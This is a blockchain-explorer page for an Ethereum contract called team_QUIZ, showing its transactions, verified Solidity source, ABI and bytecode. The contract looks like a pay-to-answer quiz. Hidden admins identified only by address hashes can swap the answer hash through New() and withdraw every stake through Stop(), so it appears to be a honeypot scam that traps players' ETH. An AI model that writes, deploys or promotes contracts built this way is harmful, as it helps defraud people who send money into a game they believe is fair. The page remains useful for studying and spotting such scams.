ETH Price: $2,148.49 (-2.21%)

Contract

0x6dB419Ec4b3656BfA0bD406BD024dE2c5f5FeC86
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Stop169179542023-03-27 9:54:111088 days ago1679910851IN
0x6dB419Ec...c5f5FeC86
0 ETH0.0005980819.48717101
Start168886802023-03-23 7:11:591092 days ago1679555519IN
0x6dB419Ec...c5f5FeC86
40 ETH0.0003069111.00000001

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer169179542023-03-27 9:54:111088 days ago1679910851
0x6dB419Ec...c5f5FeC86
40 ETH
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Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
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Contract Source Code Verified (Exact Match)

Contract Name:
team_QUIZ

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-03-23
*/

contract team_QUIZ
{
    function Try(string memory _response) public payable
    {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether)
        {
            payable(msg.sender).transfer(address(this).balance);
        }
    }

    string public question;

    bytes32 responseHash;

    mapping (bytes32=>bool) admin;

    function Start(string calldata _question, string calldata _response) public payable isAdmin{
        if(responseHash==0x0){
            responseHash = keccak256(abi.encode(_response));
            question = _question;
        }
    }

    function Stop() public payable isAdmin {
        payable(msg.sender).transfer(address(this).balance);
        responseHash = 0x0;
    }

    function New(string calldata _question, bytes32 _responseHash) public payable isAdmin {
        question = _question;
        responseHash = _responseHash;
    }

    constructor(bytes32[] memory admins) {
        for(uint256 i=0; i< admins.length; i++){
            admin[admins[i]] = true;
        }
    }

    modifier isAdmin(){
        require(admin[keccak256(abi.encodePacked(msg.sender))]);
        _;
    }

    fallback() external {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"bytes32[]","name":"admins","type":"bytes32[]"}],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[{"internalType":"string","name":"_question","type":"string"},{"internalType":"bytes32","name":"_responseHash","type":"bytes32"}],"name":"New","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"_question","type":"string"},{"internalType":"string","name":"_response","type":"string"}],"name":"Start","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"Stop","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"_response","type":"string"}],"name":"Try","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"question","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]

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Deployed Bytecode

0x60806040526004361061004a5760003560e01c80633853682c146100595780633fad9ae01461006e578063bedf0f4a14610099578063c76de3e9146100a1578063ed8df164146100b4575b34801561005657600080fd5b50005b61006c6100673660046104ce565b6100c7565b005b34801561007a57600080fd5b50610083610147565b60405161009091906105bb565b60405180910390f35b61006c6101d5565b61006c6100af366004610465565b610250565b61006c6100c236600461041b565b6102e0565b3332146100d357600080fd5b806040516020016100e491906105bb565b604051602081830303815290604052805190602001206001541480156101115750670de0b6b3a764000034115b156101445760405133904780156108fc02916000818181858888f19350505050158015610142573d6000803e3d6000fd5b505b50565b600080546101549061060e565b80601f01602080910402602001604051908101604052809291908181526020018280546101809061060e565b80156101cd5780601f106101a2576101008083540402835291602001916101cd565b820191906000526020600020905b8154815290600101906020018083116101b057829003601f168201915b505050505081565b60026000336040516020016101ea919061056f565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661021c57600080fd5b60405133904780156108fc02916000818181858888f19350505050158015610248573d6000803e3d6000fd5b506000600155565b6002600033604051602001610265919061056f565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661029757600080fd5b6001546102da5781816040516020016102b192919061058c565b60408051601f1981840301815291905280516020909101206001556102d86000858561033b565b505b50505050565b60026000336040516020016102f5919061056f565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661032757600080fd5b6103336000848461033b565b506001555050565b8280546103479061060e565b90600052602060002090601f01602090048101928261036957600085556103af565b82601f106103825782800160ff198235161785556103af565b828001600101855582156103af579182015b828111156103af578235825591602001919060010190610394565b506103bb9291506103bf565b5090565b5b808211156103bb57600081556001016103c0565b60008083601f8401126103e5578081fd5b50813567ffffffffffffffff8111156103fc578182fd5b60208301915083602082850101111561041457600080fd5b9250929050565b60008060006040848603121561042f578283fd5b833567ffffffffffffffff811115610445578384fd5b610451868287016103d4565b909790965060209590950135949350505050565b6000806000806040858703121561047a578081fd5b843567ffffffffffffffff80821115610491578283fd5b61049d888389016103d4565b909650945060208701359150808211156104b5578283fd5b506104c2878288016103d4565b95989497509550505050565b600060208083850312156104e0578182fd5b823567ffffffffffffffff808211156104f7578384fd5b818501915085601f83011261050a578384fd5b81358181111561051c5761051c610649565b604051601f8201601f191681018501838111828210171561053f5761053f610649565b6040528181528382018501881015610555578586fd5b818585018683013790810190930193909352509392505050565b60609190911b6bffffffffffffffffffffffff1916815260140190565b60006020825282602083015282846040840137818301604090810191909152601f909201601f19160101919050565b6000602080835283518082850152825b818110156105e7578581018301518582016040015282016105cb565b818111156105f85783604083870101525b50601f01601f1916929092016040019392505050565b60028104600182168061062257607f821691505b6020821081141561064357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fdfea2646970667358221220381f2b0673c60e62683f8db6fd394d373149e6e0daa4d924a8f692c037fdbd1264736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000037352581f318617a50a158b9713c0b7ef1fb9047a154232a82d8edc24a0465433f5f297af3c59e542a7e145807f21af2e7e831169071cc654f41ff708614441dde0836567284dc3e96446a94ad963418fe9ffedbfc0f0f9e20d78c1ff0b723794

-----Decoded View---------------
Arg [0] : admins (bytes32[]): System.Byte[],System.Byte[],System.Byte[]

-----Encoded View---------------
5 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000020
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [2] : 7352581f318617a50a158b9713c0b7ef1fb9047a154232a82d8edc24a0465433
Arg [3] : f5f297af3c59e542a7e145807f21af2e7e831169071cc654f41ff708614441dd
Arg [4] : e0836567284dc3e96446a94ad963418fe9ffedbfc0f0f9e20d78c1ff0b723794


Deployed Bytecode Sourcemap

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Swarm Source

ipfs://381f2b0673c60e62683f8db6fd394d373149e6e0daa4d924a8f692c037fdbd12

Block Uncle Number Difficulty Gas Used Reward
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